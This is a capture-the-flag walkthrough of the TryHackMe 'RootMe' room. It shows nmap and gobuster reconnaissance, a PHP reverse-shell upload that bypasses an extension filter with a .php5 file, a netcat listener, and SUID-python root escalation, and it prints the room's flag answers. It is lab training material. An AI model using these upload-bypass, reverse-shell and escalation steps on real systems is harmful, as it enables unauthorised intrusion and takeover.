# Challenges: RootMe (TryHackMe)

This article will cover the [**RootMe**](https://tryhackme.com/room/rrootme) write-up under Challenges on THM.

## Deploy the machine

Connect to the TryHackMe network and deploy the machine. If you don't know how to do this, complete the [OpenVPN room](https://tryhackme.com/room/openvpn) first.

## Reconnaissance

First, let's get information about the target.

### Answer the questions below

1. Scan the machine, how many ports are open? `2`
    
    `nmap -p- <ip_address>`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750236131222/846e577c-a454-4508-91d0-8feee549d02b.png align="center")
    
2. What version of Apache is running? `2.4.29`  
    `curl http://<ip_address>/http`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750236191056/8959a06a-eb47-4d0b-9b29-6251577b2a77.png align="center")
    
    Other command options to find the version of Apache running:  
    `curl -I <ip_address>`
    
    `nmap -sV -p 80,8080 <target-ip>`
    
    `nikto -h http://<IP>`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750236249257/0e91f125-c935-4d86-a93d-d58863334ec7.png align="center")
    
3. What service is running on port 22? `ssh`
    
4. Find directories on the web server using the GoBuster tool.
    
    `gobuster dir -u <ip_address> -w /usr/share/wordlists/dirb/common.txt`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750236393469/6c7cc5c7-d7c9-47df-b5eb-107813088793.png align="center")
    
5. What is the hidden directory? `/panel/`
    
    to check other files:
    
    `gobuster dir -u http://<ip_address> -w /usr/share/wordlists/dirb/common.txt -x php,txt,html`
    

## Getting a shell

Find a form to upload and get a reverse shell, and find the flag.

### Answer the questions below

`user.txt` - The hint: ***Search for "file upload bypass" and "PHP reverse shell".***

`THM{y0u_g0t_a_sh3ll}`  

* Copy the `/usr/share/webshells/php/php-reverse-shell.php` file into a new file, e.g, shell.php5
    

`$ cp /usr/share/webshells/php/php-reverse-shell.php shell.php5`

`$ nc -lvnp 4444` // on a different tab

* Change the ***IP\_Address*** to match the attack box IP, and also change the ***port*** to match the port you’ve started to listen on
    
* Visit the [`http://ip_address/panel`](http://ip_address/panel) Then upload the `shell.php5`
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750248959033/dfa94ec1-a93f-41fd-bf8a-462c859c20c8.png align="center")
    
* If you upload a .PHP file, an alert ‘PHP not allowed’ will pop up, and if it’s a `.png` or `.jpg` file, is upload success alert will show, but it won’t open or reverse the shell. They `php5` will reverse the shell. Under the $ nc -lvnp 4444 tab and you’ll be able to access the user.txt file, which has the flag
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750248879920/737ced19-3cf6-4da8-ae66-f370d35440ab.png align="center")
    
* Check the tab that has nc -lvnp 4444, and the shell has been reversed
    

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750249043819/5661bce9-5dd3-4631-b837-6b535189348e.png align="center")

`$ find / -type f -name user.txt 2> /dev/null`

`$ cat /var/www/user.txt`

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750248862261/044d5c8e-b09d-4457-9f28-efc22f13ad6a.png align="center")

## Privilege escalation

Now that we have a shell, let's escalate our privileges to root.

### Answer the questions below

1. Search for files with SUID permission, which file is weird? `/usr/bin/python`
    
      
    `find / -user root -perm /4000`
    
2. Find a form to escalate your privileges.`   `  
    Visit [gfobins](https://gtfobins.github.io/gtfobins/python/#suid) under SUID - Python
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750263278671/cbcc23c1-7be3-4b74-a7f1-a2f2eb6f0eed.png align="center")
    
3. root.txt `THM{pr1v1l3g3_3sc4l4t10n}`
    
    `$ python3 -c 'import pty; pty.spawn("/bin/bash")'`  
    
    www-data@rootme:/$ `cd /tmp`  
    
    www-data@rootme:/tmp$ `cp /usr/bin/python ./python`  
    
    www-data@rootme:/tmp$ `chmod u+s python`  
      
    www-data@rootme:/tmp$ `/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'`  
      
    \# whoami
    
    \# cat /root/root.txt
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750263663505/964e9e7a-ffbc-4d46-843f-3197a8bb6e0c.png align="center")
    
    ![](https://cdn.hashnode.com/res/hashnode/image/upload/v1750263629864/b7a488e7-57fb-4802-9883-a254fb95bd28.png align="center")
    

Thank you for reading my article. Please leave any questions or comments on improving my learning journey and the THM challenges.